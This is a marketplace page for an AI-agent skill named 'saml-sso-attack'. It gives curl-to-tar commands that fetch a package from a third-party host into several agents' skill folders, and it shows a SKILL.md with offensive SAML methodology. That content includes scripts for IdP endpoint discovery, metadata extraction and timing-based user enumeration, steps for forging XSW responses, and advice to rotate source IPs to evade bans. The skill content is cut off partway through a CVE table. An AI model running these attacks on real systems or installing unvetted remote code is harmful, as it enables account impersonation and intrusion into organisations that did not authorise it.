saml-sso-attack – Other skill for AI agents
Attack SAML SSO via XSW, signature strip, metadata extract.
Install the saml-sso-attack skill with one command
Pick the tool you use, copy the command and paste it in your terminal. The skill lands in that tool's skills folder and is ready in your next session.
Claude Code
mkdir -p ~/.claude/skills && curl -fsSL https://skill.dn1nguoi.com/z/saml-sso-attack-a882d.tgz | tar xz -C ~/.claude/skills
Call it in Claude Code: /saml-sso-attack – then describe the task you want done.
Codex
mkdir -p ~/.codex/skills && curl -fsSL https://skill.dn1nguoi.com/z/saml-sso-attack-a882d.tgz | tar xz -C ~/.codex/skills
Call it in Codex: $saml-sso-attack – then describe the task you want done.
Hermes Agent
mkdir -p ~/.hermes/skills && curl -fsSL https://skill.dn1nguoi.com/z/saml-sso-attack-a882d.tgz | tar xz -C ~/.hermes/skills
Call it in Hermes Agent: /saml-sso-attack – then describe the task you want done.
DeepSeek
mkdir -p ~/.deepcode/skills && curl -fsSL https://skill.dn1nguoi.com/z/saml-sso-attack-a882d.tgz | tar xz -C ~/.deepcode/skills
Call it in DeepSeek: /saml-sso-attack – then describe the task you want done.
SKILL.md content
SAML SSO Attack Skill
SAML Single Sign-On attack methodology — IdP metadata analysis, XML Signature Wrapping (XSW), signature stripping, comment injection in NameID, and SSO timing-based user enumeration. Confirmed on TARGET_ORG_A (SimpleSAMLphp IdP, 79 XMLRPC methods on WordPress SP), TARGET_ORG_B (Ory Kratos + OIDC), and TARGET_ORG_C (ADFS WS-Trust exposed).
When to Use
- Target uses SSO (redirects to
idp.,sso.,login.,auth.subdomains). - URL contains
SAMLRequest=orSAMLResponse=parameter. - Metadata endpoint accessible at
/saml2/idp/metadata.phpor/FederationMetadata/2007-06/FederationMetadata.xml. - After
exchange-owa-attackdiscovers ADFS.
Prerequisites
- curl, python3.
- Target SAML endpoint URLs (from recon or metadata).
- SAML Raider Burp extension for interactive testing (optional).
How to Run
# Discover SAML IdP metadata
curl --max-time 30 --connect-timeout 10 -sk "https://TARGET/saml2/idp/metadata.php" | python3 -c "
import sys, base64, zlib
from xml.etree import ElementTree as ET
content = sys.stdin.read()
if 'EntityDescriptor' in content:
root = ET.fromstring(content)
for el in root.iter():
if 'entityID' in el.attrib:
print(f'entityID: {el.attrib[\"entityID\"]}')
"
# Decode SAMLRequest from URL
echo "SAMLREQUEST_BASE64" | python3 -c "
import sys, base64, zlib
raw = base64.b64decode(sys.stdin.read().strip())
decompressed = zlib.decompress(raw, -15)
print(decompressed.decode())
"Quick Reference
| Attack | Prerequisites | Impact |
|--------|------------|--------|
| XML Signature Wrapping (XSW) | Valid signed assertion from any user | Impersonate any user |
| Signature stripping | Server doesn't validate signature presence | Full identity forgery |
| Comment injection in NameID | NameID format allows comments | User impersonation |
| SAML Response replay | No InResponseTo validation | Session hijacking |
| Key confusion | Multiple signing certs in metadata | Sign assertions with different key |
| Audience restriction bypass | No Audience validation | Cross-SP token reuse |
| Metadata extraction | Public IdP metadata | Discover certs, endpoints, bindings |
| Golden SAML (post-exploit) | Stolen ADFS token-signing cert | Forge tokens, impersonate any user |
Procedure
Phase 1 — Discover SAML Endpoints
TARGET="$1"
echo "[*] SAML endpoint discovery on $TARGET"
# Common SAML paths
declare -A SAML_PATHS
SAML_PATHS["/saml2/idp/metadata.php"]="SimpleSAMLphp IdP"
SAML_PATHS["/saml2/sp/metadata.php"]="SimpleSAMLphp SP"
SAML_PATHS["/FederationMetadata/2007-06/FederationMetadata.xml"]="ADFS"
SAML_PATHS["/adfs/ls/IdpInitiatedSignOn.aspx"]="ADFS Login"
SAML_PATHS["/adfs/services/trust"]="ADFS WS-Trust"
SAML_PATHS["/auth/realms/master/protocol/saml"]="Keycloak SAML"
SAML_PATHS["/.well-known/openid-configuration"]="OIDC"
SAML_PATHS["/sso/saml"]="Generic SAML"
SAML_PATHS["/idp/shibboleth"]="Shibboleth"
SAML_PATHS["/simplesamlphp"]="SimpleSAMLphp root"
for path in "${!SAML_PATHS[@]}"; do
code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 5 --connect-timeout 5 "https://$TARGET$path")
[[ "$code" == "200" || "$code" == "302" ]] && echo " [FOUND] $path — ${SAML_PATHS[$path]} (HTTP $code)"
sleep 1
donePhase 2 — Extract IdP Metadata
METADATA_URL="$1" # e.g., https://idp.target.com/saml2/idp/metadata.php
echo "[*] Extracting SAML metadata from $METADATA_URL"
METADATA=$(curl -sk --max-time 10 --connect-timeout 10 "$METADATA_URL" 2>/dev/null)
if [[ -z "$METADATA" ]]; then
echo "[-] No metadata accessible"
exit 1
fi
# Parse with Python
echo "$METADATA" | python3 -c "
import sys
from xml.etree import ElementTree as ET
content = sys.stdin.read()
root = ET.fromstring(content)
# Namespaces
ns = {'md': 'urn:oasis:names:tc:SAML:2.0:metadata',
'ds': 'http://www.w3.org/2000/09/xmldsig#'}
# Entity ID
entity_id = root.get('entityID', 'unknown')
print(f'Entity ID: {entity_id}')
# Signing certificates
for cert_el in root.iter('{http://www.w3.org/2000/09/xmldsig#}X509Certificate'):
cert = cert_el.text.strip()
print(f'Signing Cert ({len(cert)} chars): {cert[:60]}...')
# SSO endpoints
for el in root.iter():
if 'Binding' in el.attrib:
binding = el.attrib['Binding']
location = el.attrib.get('Location', '')
if 'HTTP-Redirect' in binding or 'HTTP-POST' in binding:
print(f'Endpoint: {location} [{binding.split(\":\")[-1]}]')
# NameID formats
for el in root.iter('{urn:oasis:names:tc:SAML:2.0:metadata}NameIDFormat'):
print(f'NameID Format: {el.text}')
" 2>/dev/nullPhase 3 — Decode & Analyze SAMLRequest
SAML_B64="$1" # from URL parameter or Burp
echo "[*] Decoding SAMLRequest"
echo "$SAML_B64" | python3 -c "
import sys, base64, zlib
from xml.etree import ElementTree as ET
raw = sys.stdin.read().strip()
decoded = base64.b64decode(raw)
try:
decompressed = zlib.decompress(decoded, -15)
except:
decompressed = decoded
xml = decompressed.decode('utf-8', errors='replace')
print(xml[:3000])
root = ET.fromstring(xml)
print()
print('=== Analysis ===')
# Request ID
req_id = root.get('ID', 'none')
print(f'Request ID: {req_id}')
# Issuer
issuer_el = root.find('.//{urn:oasis:names:tc:SAML:2.0:assertion}Issuer')
if issuer_el is not None:
print(f'Issuer: {issuer_el.text}')
# ForceAuthn
force = root.get('ForceAuthn', 'false')
print(f'ForceAuthn: {force}')
# NameIDPolicy
policy_el = root.find('.//{urn:oasis:names:tc:SAML:2.0:protocol}NameIDPolicy')
if policy_el is not None:
allow_create = policy_el.get('AllowCreate', 'false')
fmt = policy_el.get('Format', 'unspecified')
print(f'NameIDPolicy: AllowCreate={allow_create}, Format={fmt}')
" 2>/dev/nullPhase 4 — SSO Timing-Based User Enumeration
TARGET="$1" # SSO login endpoint
USERS_FILE="$2" # List of usernames/emails to test
echo "[*] SSO timing-based user enumeration"
# The technique: valid users produce a different response time than invalid users
# because the server checks LDAP/AD before returning the SAML response
while read -r user; do
START=$(date +%s%N)
curl -sk -o /dev/null --max-time 15 --connect-timeout 10 \
"https://$TARGET/sso/login?username=$user&password=WRONG_PASS" 2>/dev/null
END=$(date +%s%N)
ELAPSED=$(( (END - START) / 1000000 ))
echo " $user: ${ELAPSED}ms"
sleep 1
done < "$USERS_FILE" | sort -t: -k2 -rn | head -20
echo "[*] Users with significantly higher response times likely exist"Phase 5 — XML Signature Wrapping (XSW) Test
TARGET="$1"
echo "[*] XSW vulnerability analysis"
# Check if IdP signs only the Assertion (good) or the entire Response (better)
# If only the Assertion is signed, XSW is possible:
# 1. Capture a valid SAML Response with signed Assertion
# 2. Create a new Response containing the original signed Assertion + a forged Assertion
# 3. If the SP validates the forged Assertion instead of the signed one → impersonation
echo "[*] Manual XSW test steps:"
echo " 1. Capture SAML Response from browser (Burp/DevTools)"
echo " 2. Decode SAMLResponse (base64 + inflate)"
echo " 3. Check: is Signature on Response or Assertion level?"
echo " 4. If Assertion-level: wrap original Assertion + forged Assertion in new Response"
echo " 5. Submit forged SAMLResponse to SP ACS endpoint"
echo " 6. If SP accepts → XSW confirmed"Pitfalls
- XSW is complex. Requires understanding of XML namespaces, canonicalization, and SAML response structure.
- SAML message is large. SAMLResponse in URL can be 4000+ characters. POST binding is more common for responses.
- SP may validate InResponseTo. If it does, replay attacks fail. Check by sending the same SAMLResponse twice.
- Signature stripping only works on broken SPs. Most modern SPs reject unsigned assertions.
- Rate limiting. SSO timing enumeration and endpoint discovery can trigger account lockouts or IP bans. Always add
sleepbetween requests (≥1s) and use a pool of source IPs for production engagements.
Verification
- Metadata MUST reveal at minimum: entity ID, signing certificates, SSO endpoints, and NameID formats.
- SAMLRequest MUST decode to valid XML with Issuer, ID, and NameIDPolicy elements.
- SSO timing enum MUST show a statistically significant difference (>200ms) between valid and invalid users.
- XSW: Forged SAMLResponse MUST be accepted by the SP and create a valid session.
- All SAML endpoints must be documented: IdP metadata URL, SP ACS URL, binding types, certificate details.
Modern SAML CVEs & Techniques
| CVE | Affected | Impact | Year |
|-----|----------|--------|------|
| CVE-2025-25291 | ruby-saml ≤ 1.17.0 | Auth bypass via XSW / signature confusion | 2025 |
| CVE-2025-25292 | ruby-saml ≤ 1.17.0 | Auth bypass via parser differential | 2025 |
| CVE-2024-45428 | GitLab (ruby-saml) | SAML auth bypass — full account takeover | 2024 |
| CVE-2024-45409 | ruby-saml ≤ 1.16.0 | Signature wrappin
… (full content is in the download package)
Related skills
- rdkit – Cheminformatics toolkit for fine-grained molecular control. SMILES/SDF parsing…
- context-fundamentals – Context is the complete state available to a language model at inference time. It…
- context-guardian – Guardiao de contexto que preserva dados criticos antes da compactacao automatica…
- context-management-context-restore – Resume interrupted project work from a handoff and current checkout evidence; reconcile…
- context-management-context-save – Use when working with context management context save
- context-optimization – Context optimization extends the effective capacity of limited context windows through…
- ma-playbook – M&A strategy for acquiring companies or being acquired. Due diligence, valuation…
- relsa-severity-assessment – Supports multivariate severity assessment and exploratory endpoint-time score…